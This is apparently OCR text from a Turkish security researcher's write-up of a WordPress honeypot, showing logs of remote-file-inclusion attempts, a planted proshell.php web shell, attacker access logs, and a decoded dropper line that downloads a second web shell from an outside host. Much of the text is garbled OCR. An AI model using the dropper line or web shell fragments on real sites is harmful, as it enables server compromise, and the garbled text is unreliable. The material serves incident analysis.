wp.com. tr Request] Client: 140.143.10.71 Request' http:/fup.com. tr/alankontrol/1.php?a=//46.101.10.120
Vakaladimsizi.com Request] Client: 140.143.10.71 Request: http://yakaladimsizi.com/yabanci/1.php?a=https//46.161.10.120
wp.com. tr Request] Client: 140.143.16.71 Request: http://up.com.tr/alankontrol/1.php?a=//45.101.16.120
Vakaladimsizi.com Request] Client: 140.143.10.71 Request: http://yakaladimsizi.com/yabancis/1.php?a=http://46.161.10.120
24-95-2018 23:02:15 [np.com. tr Request] Client: 140.143.10.71 Request: http://wp.com.tr/alankentrol/1.php?a=//46,101.10.120
24-95-2018 23:02:15 [Vakaladimsizi.com Request] Client: 146.143.10.71 Request: http://yakaladimsizi.com/ysbanci/l.php?a=http://46.101.10.120
24-95-2018 23:02:15 [wp.com. tr Request] Client: 146.143.10.71 Request: http://up.com.tr/alankontrol/1.php?a=//46.101.10.120
Vakaladimsizi.com Request] Client: 146.143.18.71 Request: http://yakaladimsizi.com/yabanci/l.phpYa=http://46.161.10.126
wp.com. tr Request] Client: 140.143.10.71 Request: http://up.com.tr/alankentrol/1.php?a=//46.101.10.120
Vakaladimsizi.com Request] Client: 164.52.24,140 Requests httpi//yakaladimsizi.com/yabanci/l.php?a=https//46.101.10.120:80
wp.com. tr Request] Client: 164.52.24.148 Request: http://wp.com.tr/alankontrol/1.php?a=//46.101.10.126
vakaladinsizi.con Request] Client: 134.115.191.93 Request: hEcp:/yokaladimsiat . con/yabanci/1.php Ya-http: //46.101.10.120
wp.com. tr Request] Client: 134.119.191.98 Request: http://wp.com.tr/alankontrol/1.php?a=//46.101.10.
Vakaladinsizi.con Request] Client: 134.119.191.98 Request: hetp://yakaladinsizi, com/yabanci/l php’a—http.//‘lﬁ.]ﬁl 10.120
wp. comtF Requeat] Client: 134.119:191.95 Request: ety f/wp:con. ir/alankontrol/ L. phpia-//36. 181, 16.120
FFLink Request] Client: 134.119.191.98 : Request: Funan. Fabth, Fabthemes .php ?get 101.10.120%2F up-1 fontsX2Fproshell.php Response: !fabthemes#519118#poucred by wordpress
Vakaladimsizi.com Request] Client: 134.119.191.38 Kequest hetp://yakaladimsizi. com/yabanci/1.php2ashttp: e kariyerdunyasi. org

wp.com. tr Request] Client: 134.119.191.98 Request: http://wp.com. tr/alankontrol/1.php?a=//mm ksr)yerdur\y

VokaTadingi 1. con Request] Clicnt: 13.119.191.98 Requeer: nitpes/yakaladimsioL. confyabanci/L php Jaehtint fuas ariyerdunyasi. org

wp.com, tr Request] Client: 134.119.191.98 Request: http://wp.com.tr/alankontrol/1.php?a~, //Nwl kariyerdunyasi.org

FFLink Reguest] Clien 2 . http://um. Fabthemes . con/fabthemes .php keri 51 .org¥2Fup-incl

Possible HECKINGUAEEEMBt] Client: 134.119.191.95 U: 46. Sifre: Shords

Vaksladinsizi.com Request] Client: 134.119.191.98 Request: http://yaksladimsizi.com/yabanci/1.php?ashttp://46.101.10.120

wp.com. tr Request] Client: 134.119.191.98 Request: http://wp.com.tr/alankontrol/1.php?a=//46.101.10.120

FrTIE Geqieo¥] ChtEees |DAT 190,50 1] REWIES R (o o Thenes o/ ol s Bt IR R LTt ten . 0RO REnae | FAbESEReSISInosiave e (B SR dEess

Vakaladimsizi.com Request] Client: 134.119.151.98 Request: http://yakaladimsizi.com/yabanci/1.php?a=http: //uw.kariyerdunyasi.org

wp.com. tr Request] Client: 134.119.191.95 Request: http://wp.con.tr/alankontrol/1.php2a=/ /wwn ksr)yerdunysr) org

Vakaladimsizi.com Request] Client: 134.119.191.98 Request: http://yakaladimsizi.com/yabanci/l.php?a=http://www.kariyerdunyasiiorg

24-95-2018 23:15:86 [wp.com. tr Request] Client: 134.119.101.98 Request: http://up.com.tr/alankontral/1.php2a=//wma.kariyerdunyasi.org

24-95-2018 23:15:65 [FFLink Request] Client: 134.119.191.95 : Request:
FFLink Request] Client: 134.115.191.98 : Request: st b y

Vakaladimsizi.com Request] Client: 134.119.191.98 Request http: //yakalud)ms)n com/yabanci/L.php2a=http: / un. kariyerdunyasi. org

wp.com. tr Request] Client: 134.119.191.98 Request: httpi//wp.com.tr/alankontrol/l., gnwa //www Kariyerdunyasi.org

FFLink Request] Client: 134.119.191.98

Possible Hacking Attempt] Client: 134.119.191.95 U: www Sifre: Shords

Vakaladinsizi.com Request] Client: 178.215.166.192 Request: http://yakaladinsizi.con/yabanci/l.phpla=http://46.101.16.120:80

wp.com. tr Request] Client: 178.215.166.192 Request: http://wp.com.tr/slankontrol/1.php?a=//46.101.10.120

Vakaladimsizi.com Request] Client: 31,177.255.34 Requests http://yakaladimsizi. (nm/yahan()/l php2a-http://46. 101, 10.120:50

wp.com. tr Request] Client: 31.177.255.34 Request: http://up.com.tr/alankontrol/1.php?a:

205 teis p0io6 15 [Vakalad i ol icon kgt Clion: 114138172, 233 Redest: niepl/fyaltaTatimnt ol (Dm/ysban()/l php?a=}

=//46.

orgkaF Response: |fabthemes#5191034pouered by wordpress

ttp://aa.m.m.]m e

25-05-2018 wp.com. tr Request] Client: 114.30.72.232 Request: http://up.com.tr/alankontrol/l.p 101.10.120

35052018 00:06+14 [Vakatadinsiei-con Request] Client: 46.101.18.120 Request: http://yakaladimsizi. i/1.php?a=http: //vm. kar org
25-05-2018 09:96:14 [wp.com. tr Request] Client: 46.101.10.120 Request: http://up.com.tr/alankontrol/1.php?a=//w. kariyerdunyasi.or,

25-65-2018 61:21:54 [Yakaladims: m Request] Client: 133.162.168.53 Request: 7 fyakeladimsizi. com/yabanci/1 php’a http 1/46.161.10.120

e ot pitnic e mreonindiequestyCliini - L iz ibe sslhequelts ity /fopscon: 1 alankoneral/1.phpa //45 161. 1

25-05-2018 Vakaladimsizi.com Request] Client: 46.101.10.120 Request: http://yokaladimsizi. php?a=http://mn. kari i.org

wp. com. tr Request] Client: 46.101.10. 12 Request: http‘,’/vlp con.tr/alankontrol/1. php2a=, f/MM kariyerdunyasi.org

FFLink Request] Client: 139.162.108.53 : Request: http://wm. fabthemes. com/fabthemes .php? getl)nk WERPCALSIEOrAG 161 6. IIGRF REspaie: LEdbteRe i e |1 WRdpLEss
Vakaladimsizi.com Request] Client: 158.69.64.72 Request: http://yakaladimsizi. P P/ o

wp.com. tr Request] Client: 158.69.64.72 Request: http://wp.com.tr/alankontrol/1.php?a= //www kmyermmysn org

25-95-2018 €2:10:50 [Yakaladimsizi.com Request] Client: 46.101.10.120 Request: http://yakaladimsizi. p2a-htps/ /o kart i.org
25-05-2018 02110150 [wp. com. tr Request] Client: 46.101.10.120 Request: hEep://up.con.tr/alankontrol /L phpian/uwai. kariyerdunyas

25-95-2018 02:10:49 [FFLink Request] Client: 156.69.64.72 : Request: http://wuw.fabthemes.com/fabthemes. php?getlink= nttpxawzr%zﬂw.kariyernunyas; orgk2F Response: !fabthemes#5191034powered by wordpress

. Fabthenes. com/ fabthenes . php et ink=HEtpA3AK2FZ . karSyer dunyesd . orghzr vp-contenta2rthenesh2r Jobpress¥ar nages¥2rtag. prg Response

i.orgk2Fup < p insges¥2Ftag. png Response

proshell.php Response: !fabthemes#519111#ponered by wordpress

! fabthemes#519184#powered by wordpress

|fabthemes#5101844powered by wordpress
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C () | ® www.kariyerdunyasi.org/honeyweb.txt

[ Linkedin W Mert SARICA (mert=. ™M
Vakaladinsizi.com Request] Client: 116.255.245.170 Request: htt,
vakaloginsii.con Request] Client: 116.295.265,170 Request: Neps//yakaladinsdzt con/yaboncd, L phpzasieep: //46,101 10,120
Vaksladinsizi.com Request] Client: 131.108.55.167 Request i com/yabanci/1.php ://46.101.10.120:80
vekaladinsizi.com Request] Client: 66.249.93.211 Reguest: http.//yakalad)ms)u.(Dm/yaban(,'\/l php?ashttp://s. kariyerdunyasi.org
FrLink Request] Client: 66.249.93.211 : Request: http://uw.fabthemes.com/fabthemes . phplgetlink=http¥3a%2r¥2Fm. kariyerdunyasi orgli2r Response:
Vakaladinsizi.com Request] Client: 170.247.207.60 Request: http imsi i ttp://46.101.10.120:80
vakalaginsizi.con Request] Client: 190.96.138.200 pequest: hetp: //yakalams.m mm/yananan, npteshetp: /s la1. 10.120
FFLink Request] Client: 190.94.138.208 : Reques Junan. b 1.10.120%2F Response:
Bl oiinst 7 comlHemes i ede, 195 53 e Kequest http /yakalad)mnz ttp://46.101.10.120
FrLink Request] Client: 199.94.133.205 : Request: http://wmm. fabth 101.10.120%2F Response:
Vakaladinsizi.com Request] Client: 190.56. 158308 REquest http://yakaladimsizi mm/yauamn.pnpw s0
FFLink Request] Client: 199.34.138.208 : Reques /veun. Fabtthemes., con/fabthemes .php ?get Link
Vokaladinsii.com Request] Client: 43.252.106. 18 Request http: //yakaladimsizi. com/ysbanci/L. php?a
vakaladinsizi.con Request] Client: d6.101.10-120 Request: Ifetp://yskaladinsizi. con/yabanci/L php?
Vaksladimsizi.com Request] Client: 116 sy Request: htep:/, php
Vaksladinsizi.com Request] Client: 46.101.10.120 Request: htep:/, / p?a-
¥Blalndinst 74 com degle 1 Cliede: 22 180T238:5odfneesti et /yakalamms zi. tum/yahal\cl/l php?a=http: //46.101.10.120
Vakaladinsizi.com Request] Client: 46.101.10.120 Request: http://yakaladimsizi. 1/1 oo
FFLink Request] Client: 222.18.238.227 : Request: http. //www Tabthames .con, fabthenes . php?ge ] nkoht tpK3AX2FX2F4S 101 16. 120%2Fuser¥2F LoginkaF Response:
vakaladinaizi.con Request] Client: 201.60.125.27 Requests Irtp://yekeladinsit, con/yobanci/ L phptoxhttp:/ /45.101.10.120:09
Possible Hacking Attempt] Client: 130.185.155.61 U Jtest.txt

ERESTE Actenpt] Clien

Inbox - mertsaricaC

/yakaladinsizi.con/yabanci/1.php?a=http://46.101.16.128

Ifabthemes#5191038pouered by wordpress

!fabthemes#5191054poucred by wordpress

(Dm/yahan(:/l php>
B !fabthemes#s191054poucred by wordpress

Ifabthenes#519106%powered by wordpress

: iag_Form Response:
o
7w, kariyerdunyasi.org
p://46.101.10.120:50
p:/ /. kari

i.org

&

Ifabthenes#5191652powered by wordpress

Possible 30.185.155. 61 WP: raw.. glthuhuser(unt:nt (nm/eyn)s:yltejt/mast:r/test txt
Possible Hacking Attempt] Clxznt 136.185.155.61 WPz r- sttt
Possible Hacking Attempt] Client: 130.185.155.61 WP: raw. ent i
Vakaladimsizi.com Request] Clionts 122,114, 204.75 Request: http: fyakaladlmsa7 ,;um/yahanc;/l php’ ttp Tlacalhost
Vakaladimsizi.com Request] Client: 46.101.18.128 Request: http://)
FFLink Request] Client: 122.114.204.78 REcps/ /i, Fabthenes. (om/fabthemes php? getl)nk http%iA%Zf%ZFAﬁ 16T JZZ
Vakaladimsizi.com Request] Client http://, o /
FRLink Request] Client: 122.114.2 e fabthems; (Dm/fabthemss php? getl)nk http%ih%zf%zfﬂé 101160, 120827 018
Vakaladimsizi.com Request] Client: 122.114.204.78 Kequest r pi//46.101.10.120
Vakaladimsizi.com Request] Client: 122.114.204.78 Request: ttp://45.101.10.120
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request.
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request
Vakaladimsizi.com Request] Client: 122.114.204.78 Request.
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request
Vakaladinsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Requast] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request:
Vakaladimsizi.com Request] Client: 122.114.204.78 Request.
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114,204,78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204,78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request: http
Request] Client: 122.114.204.78 Request: http://yaksladimsiz:
Request] Client: 122.114,204,78 Request: imsi
Request] Client: 122.114.264.78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request:
Request] Client: 122.114.204.78 Request: nch.// kaladi
Request] Client: 122.114.204,78 Request:

pthemes#5131054pouered by wordpress

LRI i
.78

Type Response: !fabthemes#519100#ponered by wordpress

http://,
itp:/yskaladins izi

Dosya sistemine proshell.php
isimli web shell dosyasini
yiiklemesini ve galistirmasini
saglayan php web shell kodu.

hktp 7 fyakeladimsizi. com/yabanci/1.phpa=
imsizi. com/yabanci/1.php?
com/yabanci/L.php?
com/yabanci/1
L. com/yabanci/1.php>

//46.101.10.120
ttp://26.101.10.120

p://46.101.10.120
tp://46.101.10.120
pi//46.101.10.120
=http://46.101.10.120
/45.101.10.120

hetp /yakalaamnzl
/yakaladinsizi, co

http://yakaladimsizi
http /yakalammp

http /yakalxd)wswl
http://yakaladinsizi. co
http 1 fyskaladi
ttpi//yskaladinsizl
/

Vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com
vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com
Vakaladimsizi.com

26-05-2018 10:03:26
26-05-2018 18:03:27

1/46.101.10.120

26-05-2018 10:03:27 [Vakaladimsizi.com Request] Client: 122.114.204.78 Request: com/vabanci/1
[ wwwikariyerdunyasiorg % et —
<« C 1 | ® wwwkariyerdunyasi.org/attacker.tet #| ¢ © @O
.D Hack 4 Career. Infor [l] Linkedin W Mert SARICA (mert=. M Inbox - mertsarica® Other bookmarks.

134.119.151.98 - - [25/Hay/2618:02:14:40 +6360] "GET //wp-includes/fonts/proshell.php HTTP/1.1" 361 o ”http //wp.com. tr/keyitlar.php" "Mozilla/5.0 (Windows NT 6.1; Winéd; x64) ApplebebKit/537.36 (KHTML, like Gecko) Chrome/66.4.3359.181 Safari/537.36"
134.119.191.98 - - [25/Hay/2018:02:14:30 +0300 i "http://up.com.tr/kayitlar.php” “Mozilla/5.0 (Windows NT 6.1; Winéd; x64) AppleliebKit/537.36 (KHTHL, like Gecko) Chrome/66.0.3350.181 Safari/537.36"
134.119.181.95 - - [25/Hay/2018:02:14:41 49300 /45.101.10. m//wp includes/fonts/font. php?! "Mozilla/5.@ (Windows NT 6.1; Win64; x64) AppleWebKit/537,36 (KHTHL, like Gecke) Chrome/6.9.3359.181 Safari/537.36"
134.110.191.98 - - [25/Hay/2618:02:14:48 +6300] "GET /wp-includes/fonts/proshell.php 04 10673 "http://wp.con.tr/kayitlar.php" "Mozilla/5.0 (Windows NT 6.1; Winbd; x64) ApplellebKit/537.36 (KHTHL, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
134.119.191.95 - - [25/May/2018:02:14:41 +0360] "GET /wp-content/themes/Jobpress/style.c £ 58513 "http://46.101.10.120/up- includes/fonts/proshell.php” "Hozilla/5.@ (Windows NT 6.1; Winbd; x64) AppleWebKit/537.36 (KHTHL, like Gecko)

Chrome/66.0.3359.181 Safari/537.36"
134.110.191.98 - - [25/Hay/2018:02:14:41 +0300] "GET /wp-includes/js/jquery/jquery-migrate.min.J " 200 4366 "http://46.101.10.128/wp- includes/fonts/proshell.php” "Mozilla/s.o (Windows NT 6.1; Win6d; x64) AppleWebKit/537.36 (KHTHL, like Gecko)
Chrome/66.9.3352.181 Safari/537.36

134.110.191.98 - - [25/Hay/2618:02:14:41 +0360] "GET /wp-content/themes/Jobpress/js/cFfects. js2ver=4.9 15/5.8 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTHL, like Gecko)
Chrome/66.0.3359.181 Safari/s37.36"

b=111a/5.0 (uindows NT 6.1; Win6d; x64) AppleiebKit/537.35 (KHTHL, like Gecko)

134.119.191.98 - - [25/Hay/2018:02:14:41 +0300] "GET /wp-content/themes/Jobpress/js/superfish.jsiver=4.9.6 H
Chrome/66.0.3350.181 Safari/s37.36

134.119.191.95 - - [25/Hay/2018:02:14:41 +8300] "GET /wp-includes/is/jquery/jquery.js?ver=1.12.4 HTTP/1.1" 200 i i (Windows NT 6.1; Win64; x64) AppleuiebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.335.181 Safari/537.36" Js.php dosyasi lizerinden

pleuiebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"

"GET //wp-includes/fonts/font.php?u=waw HTTP/1.1" 200 818 “htt]
indows NT 6.1; Win64; x64) ApplewebKit/537.36 (KWTHL, like Gecko)

134.119.181.98 - - [25/Hay/2015:
ncludes/js/wp-embed.min. js?ver=4.9.6 HTTP/1.1" 200 1

2:14:41 +0300]
141 +0360] "GET /wp-

proshell.php dosyasini dosya
sistemine ylikleyip cagirmaya

1a/5.0 (Windows NT 6.1; Win64; x64) ApplenebKit/S537.36 (KHTHL, like Gecko)

L3I0t on o8 e Ten/ay a2 18, R G00] TR /o Cnclldisls ipemodilcéiéasermin i bver=diSle TTR/LS
Chrome/66.6.3359.181 Safari/53: ga||s|y°r

134.119.181.98 - - [zs/uay/zms.az.u.az +@8300] "GET /favicon.ico HTTR/1.1" 200 282 "http://ww.kariyerdunyasi, n6a; x64) ApplenebKit/537.36 (KHTHL, like Gecka) Chrome/66.@.3358.181
Safari/s537.36"

134.119.151.98 - - [25/Hay/2018:02:14:42 40300] "GET /wp-content/themes/Jobpress/imsges/body.png HTTP/1.1" 200 "Hozilla/5.0 (Windows NT 6.1; Win6d; x64) ApplewebKit/537.36 (KHTML, like
Gecko) Chrome/66.9.335%.181 Safari/537.36"

134.119.181.98 - - [25/Hay/2618:02:14:42 +0360] "GET /up ‘themes /Jobpr bmit.png HTTP/1.1" 200 Mess" "Mozilla/5.0 (Windows NT 6.1; WinG4; x64) ApplelebKit/537.36 (KHTHL, like
Gecko) Chrome/66..3358.181 Safari/537.36"

134.119.191.98 - - [25/Way/2018:02:14:42 +0300] "GET /wp-content/themes/Jobpress/images/drop.png HITP/1.1" 200 860 “http://wiw.kariyerdunyasi.org/wp-content/themes/Jobpress/style.css” "Mozilla/5.0 (Mindows NT 6.1; WinG4; x64) ApplewebKit/s37.36 (KHTML, like Gecko)
Chrome/66.0.3359.181 Safari/537.36"

134.119.191.98 - - [25/Hay/2018:02:14:42 +0360] "GET /fawicon.ico HTTP/1.1" 200 202 "http://46.101.10.120/wp-includes/fonts/proshell.php” "Hozilla/5.@ (Windows NT 6.1; Win6d; x64) AppleWebKit/537.36 (KHTHL, like Gecko) Chrome/66.9.3359.181 Safari/537.3

Like Gecko) Chrome/66.0.3359.181 Safari/537.36"

-con.tr/kayitlar.php" "Mozilla/s.e (iindows NT 5.1; Winea;
Like Gecko) Chrome/66.0.3350.181 Safari/537.36"

Mozil1a/5.0 (Windows NT 6.1; Winbd; X64) ApplediebKit/537.36 (KHTHL,

1 +0300] "GET //wp-includes/fonts/proshell.php HTTP/1.1" 3061 1173 "http://wp x64) Appletiebkit/537.36 (KHTHL,

134.119.191.98 - - [25/May/2018:02 a2 +0300] "GET /wp-includes/fonts/proshell.php HTTP/1.1" 464 10634 "http://wp.com.tr/kayitlar.php”

134.119.191.98 - - [25/Hay/2018:02:14:43 +0300] "GET /favicon,ico HTTP/1.1" 208 202 "http://wwi.kariyerdunyasi.org/up-includes/fonts/proshell.php” "Mozilla/s.0 (Windows NT 6.1 Winb4; x64) ApplewebKit/537.36 (KHTHL, like Gecko) Chrome/66.2.3359.181 Safari/S37.36"

134.110.181.98 - - [25/Hay/2018:02: 1414 +8308] "GET //wp-includes/fonts/font.phpu= AL 1" 280 761 "-" "Mozilla/5.8 (Windows NT 6.1; Win6d; x64) AppleliebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"

13011151918 - - [25/May/2015: 02116149 +a300] "GET /favicon. ico HTTP/L.1" 206 302 "hitp://46.101.10.120/ /up-includes/Fonts/Font.phpPusds. " "Morille/s.o (Nindows NT 6.1; Win6a; x64) Appleweblit/537.36 (KKTHL, 1ike Gecko) Chrome/66.0,3359.151 Safard/s37.ss"
Jwp-includes/Fonts/font.php?u=a6." "Hozills/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTHL, like Gecko)

D410 taisn s [on/hey/ 261 621 14:03 asme] SOnT') g inc e Fonte/ ot phy i HIT/EEAT Tat2y224 Mty [4a 1. 10 2ol

Chrome/66.0.3359.181 Safari/s3;
134.119.191.95 - - [zs/uay/zms Sl +@300]
Safari/537.36"

134.119.181.95 - - [25/Hay/2015:02:14:53 +0300]
134.119.191.98 - - [25/May/2018:02:14:56 +0300]
134.119.181.98 - - [25/Hay/2018:02:14:56 e ]
134.119.191.98 - - [25/May/2018: 02 00]
134.119.151.98 - - [25/Hay/2618:02:15:01 +6360]
134.119.191.95 - - [25/Hay/2015:02:15:04 +0300]
134.119.191.95 - - [25/May/2018:02:15:05 +0300] "
Winga; x64) AppleniebKit/537.36 (KHTHL,
134.119.191.95 - [25/Hay/201a:02:15:05 +a300] °
Chrome/66.0.3359.181 Safari/s3:

134.119.191.98 - - [zs/uay/zms.oz.ls 05 +0300]
Gecko) Chrome/66.9,335%,181 Safari/537.36"
134.119.191.98 - - [25/Hay/2018:02:15:85 +6300]
Chrome/66.0.3359.181 Safari/537.36
134.119.191.98 - - [25/Hay/2018:02:15:05 +0300]
Gecko) Chrome/66.6.3358.181 Safar)/§37 36"
134.119.191.98 - - [25/Hay/2018:62:

[25/1ay/2618: 62
Chrome/66.0.3359.181 Safari/537.36"
134.119.191.98 - - [25/Hay/2018:02:15:10 +0300]
Chrome/66.0.3359.181 Safari/537.36

134.119.181.98 - - [25/Hay/2ms:92. 5:10 +0300]
Chrome/66.0.3352.181 Safari/537.36"
134.119.181.95 - - [ZS/Hay/ZWJS st +0300]

Safari/537.36"

"GET //wp-includes/fonts/font.php2u=46. HTTP/1.1" 200 313 “httpi//46.101.10.120//wp-includes/fants/font.

REETR/fEFIEOn: e WTIR/L.0% 2001282, "HEEGE//48, 161410000 /G e Iies  for s/ ML hpRaa:” eiLlz) s,
"GET //wp-includes/fonts/Font.php?u=46. HTTP/1.1" 260 313 "Hozilla/s.0 (Windows NT 6.1; Winsd; x64)
GET /favicon.ico HTTP/1.1" 280 202 "http: L/ 46.101.10.120/ Jup-inciudes onts Fane. php? “Mozilla/s.
1. oLttt/ Fond =46} 1110/ 13200} 5o 4o 1516, (ihdows WEGTY, WinGtofdy
"GET /favicon. /1.1" 260 202 "http://46.161.10.126/ /wp-includes/fonts/Font . ph ." "Mozilla/s.
"GeT / KTTR/L A" 200 4032 Mozilla/s.0 (Hindous NT 6.1; Win6d; x64) ApplevlebKlt/SN = (KHTHL, like G
"GET /wp-content/themes/Jobpress/ sinthumb. php? pi yasi.org/up them:

o

Like Gecko) Chrome/66.0.3359 181 Safari/537.36
"GET /wp-content/themes/Iobpress/images/comn.png HTTP/1.1" 280 525 "http://ww.kariyerdunyasi.org/up-content/themes/Jobpress/style.css™

"GET /up-content/themes/Iobpress/images/calendar.png HTTP/1.1" 200 523 "http:

"GET /wp-content/themes/Jobpress/images/user.png HTTP/1.1" 200 499 "http://wwi. kariyerdunyasi.org/up-content/themes/Jobpress/style.css" "Mozilla/5.8 (Windows NT 6.1;

"GET /wp-content/themes/Jobpress/inages/tag.png HTTP/1.1" 404 10834 "http:/ /. kariyerdunyasi.org/up-c

GET/HTTE/LEAT 200/ %030 et/ /46 BN 1620/ oot 1Lay i (WTdausiNT 63173 WLiGH3501) AopEsebiley:
"GET /favicon.ico HTTP/1.1" 260 202 "http://wwm.kariyerdunyasi.org/" "Mozilla/5.0 (Windows
YGET /upecontent/themes /Tobpress/ insgas/ tag.ong HTTP/1.1 408 8711 "hit

"POST //up-includes/fonts/Font. php?u=waw HTTP/1.1" 302 334

unnw. kariyerdunyas

"GET //wp-includes/fonts/font.php2u=um HTTP/1.1" 200 313 “http:

"GET /favicon.ico HTTP/1.1" 200 202 "http://wiw.kariyerdunyasi.org//wp-includes/fonts/font.php?u=um”

/vapress/xmages/dummy Jpg8l

/v kariyerdunyas i.org/wp-content/themes/Jobpress/style. css

un. ksr)yer‘dunyas).urg/wp (Dntent/themes/]uhpress/style css
“http://war. kariyerdunyasi. org//up-includes/Fonts/font . phpu=um

-org//wp-includes/Fonts/font. phpPusmm” "Hozilla/5.0 (Windows NT 6.1; Winéd; x64) AppleWebKit/537.36 (KHTHL,

php?u=46." "Hozilla/5.@ (Windows NT 6.1; Win64; x64) ApplenebKit/537.36 (KHTHL, like Gecko) Chrome/66.9.3353.181
@ (windows NT 6.1; Winsd; x64) ApplewebKit/537.36 (KHTHL, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
AppleliebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"

@ (windows NT 6.1; Wined; x64) AppleliebKit/537.36 (KHTHL, like Gecko) Chrome/66.0.3350.181 Safari/537.36"
AppletiebKit/537.36 (KHTML, like Gecko) Chrome/66.8.3359.181 Safari/537.36"

[ (windows NT 6.1; Win6d; x64) AppleliebKit/537.36 (KHTHL, like Gecko) Chrome/66.6.3353.181 Saferi/537.36"

ko) Chrome/66.0.3359.181 Safari/537.36"
50R1-20082C-1 HTTP/1.1" 200 2728 "http://46.101.10.120/"

“Hozilla/s.@ (Windows NT 6.1;

1021115/5.0 (Windows NT 6.1; Win6d; x64) ApplewebKit/537.36 (KHTML, like Gecko)

Mozi112/5.0 (Windows NT 6.1; Wined; x64) ApplewebKit/537.36 (KHTHL, like

Viin6d; xB4) AppleWebKit/537.36 (KHTML, like Gecko)

ontent/themes/Jobpress/style.css” "Hozilla/s.0 (Windows NT 6.1; Win6d; x64) AppleebKit/537.36 (KHTML, like
/337236 (KN, Ikesoecks) Chiome/o6.8:3359 a1 Safir/377:36

AppletiebKit/537.36 (KHTHL, like Gecko) Chrome/66.0.3359.181 Safari/537.36"

" "Mozilla/5.0 (Windows NT 6.1; Win6d; x64) ApplewebKit/537.36 (KHTML, like Gecko)

Hozilla/s.0 (indows NT 6.13 Win64; x64) Appleliebkit/537.36 (KHTML, like Gecko)
Like Gecko)

Mozilla/5.0 (Windows NT 6.1; WinG4; x64) ApplenebKit/537.36 (KHTHL, like Gecko) Chrome/66.9.3359.181



() test/test tet at master . & X = = X

<« C ) | @ Secure | https//github.com/ey * eme xAa

Hack 4 Career Infor [] Linkedin W) Mert SARICA (merts. ™M Inbox - mertsarica Cther bookmarks

() restues Business Bplore  Marketplace  Pricing e v Signin - Sign up

eynisey / test @Watch 0 | | dksar 0 | PFork 0

<> Code ssues 0 Pull requests 0 Projects 0 Insights

Branch: master v | test / test.txt Find file  Copy path
Your Name sdsdfsdf 004699 on Feb 25

1 contributor

10 Lines (9 sloc) | 412 Bykes Row | Blame  History = [J

p_uname (}."</0>";

" name="uploader” id=

_upl® typa-"submit® id

" value="Upload"s ¢/Forms '3

 name'], $_FILES['File’]['name’])) {

Sbr<bro<hry’;

© 2018 GitHub, Inc,  Terms  Privacy Status  Help Contact GitHub ~ APl Training Shop Blog  About
© Whois, domain sorgulam X MR — X
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 existing registrations. VeriSign reser [
55 to the Unois database in its sole EN
. VeriSign may restrict or terminate

by these terms of use. VeriSign
ras at any time

right to modify

The Registry database contains ONLY .COM, .NET, .EDU comains ang
Registrars

Lookup results for 134.119.191.98 from wheis.arin.net server:

NetRange : 134.119.0.0 - 134.119.255.255
CIDR: 134.119.0.8/16
Nethiame : RIPE-ERX-134-119-0-0

NetHandle! NET-134-119-9-0-1
NETI34 (NET-134,
Early Registrati

2-9)
Transferred to RIPE NCC

RIPE Network Coordination Centre (RIPE)

RIPE Network Coorgination Centre
1PE

P.0. Box 10096

Address:
City: Amsterdsm
StateProvi

PostalCose:  1001E8
Country: L

Regdate:
Updated:

s.arin.net/rest/ora/RIPE
is.ripe.net
PS.db. ripe .net/search/query . html

OrgTechEmail:
OrgTechRef:
OrghbuseHandle:
OrgAbus i Ab
OrgibusePnone:

OrgAbuseEmails
OrghsuseRas:

Hakkimizda ~ Alan Adlan  Gizlik  iletisim

YUKARI CIK

2018 yilinin Aralik ayinda ise http://wp[.]com.tr/wz.txt dosyasinda yer alan
base64 ile gizlenmis karakter dizisinin degistigini farkettim. Gizlenmis
karakter dizisini c¢6zdugumde font.php dosyasina daha 6nceki koda ilaveten
$z=fopen(‘error log.php’,’'w’);fwrite($z,file get contents(‘http://download].]
evilcOder[.]org/shell-indir/error log.txt’));fclose($z); print(); satirinin
eklendigini gordim. Bu kod ile font.php dosyasinin yanina bir de
error_log.php adi altinda baska bir php web shell dosyasi olusturuluyordu. Bu
php web shell dosyasinin parolasinin digerlerinden farkli olmaszi,

http://wp[.]com.tr sitesinin baska bir grup tarafindan hacklenmis olabilecegi



ve mevcut font.php dosyasina baska bir kodun eklenmis olma ihtimalini

arttiriyordu

[} wwwwinpcom triwzet x |+ - X
< C {t O Notsecure | www.wp.com.tr/wz.txt * ¢ 0omMemAaAN @0
@ rHack4 Career.Inforr [ Linkedin W MertSARICA (merts= M Inbox - mertsaric Gther bookmarks
gsdizin - getaud();

@5yol = 3diin. “/up-includes /fonts/Font.php"; 1 ( File extsts( Syol ) ) {
Jelse
@touch(syol);
@sh = '<?php
